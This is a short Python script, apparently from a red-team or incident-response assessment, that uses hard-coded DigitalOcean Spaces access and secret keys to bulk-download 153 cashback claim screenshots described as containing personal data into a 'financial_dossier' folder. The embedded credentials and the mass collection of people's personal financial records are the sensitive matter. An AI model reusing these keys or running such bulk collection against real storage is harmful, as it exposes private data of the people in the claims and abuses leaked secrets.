#!/usr/bin/env python3
"""Download DO Spaces claims/ (153 objects) — cashback claim screenshots with PII."""
import boto3
import os
import sys

OUTDIR = "/root/ir-assessment/redteam/yajny/L3/financial_dossier/do_spaces_claims"
os.makedirs(OUTDIR, exist_ok=True)

s3 = boto3.client(
    "s3",
    endpoint_url="https://nyc3.digitaloceanspaces.com",
    aws_access_key_id="6J7GF6KXTHOPYKFMG5GV",
    aws_secret_access_key="sZIHKKQzdiQ40Lg6ZiMF5AGbLENYw6zFmI3l7WiP2e8",
    region_name="nyc3",
)

print("[*] Downloading claims/ from DO Spaces (153 objects)...")

# List all claims
paginator = s3.get_paginator("list_objects_v2")
downloaded = 0
total_size = 0

for page in paginator.paginate(Bucket="yajny", Prefix="claims/"):
    for obj in page.get("Contents", []):
        key = obj["Key"]
        if key.endswith("/"):
            continue
        # Flatten path: claims/1002/abc.jpg → claim_1002_abc.jpg
        flat_name = key.replace("/", "_")
        local_path = f"{OUTDIR}/{flat_name}"
        
        try:
            s3.download_file("yajny", key, local_path)
            downloaded += 1
            total_size += obj["Size"]
            if downloaded % 20 == 0:
                print(f"  downloaded {downloaded}/153 ({total_size//1024}KB)")
        except Exception as e:
            print(f"  [!] failed {key}: {e}")

print(f"\n[OK] Downloaded {downloaded} claim files ({total_size//1024}KB) → {OUTDIR}")
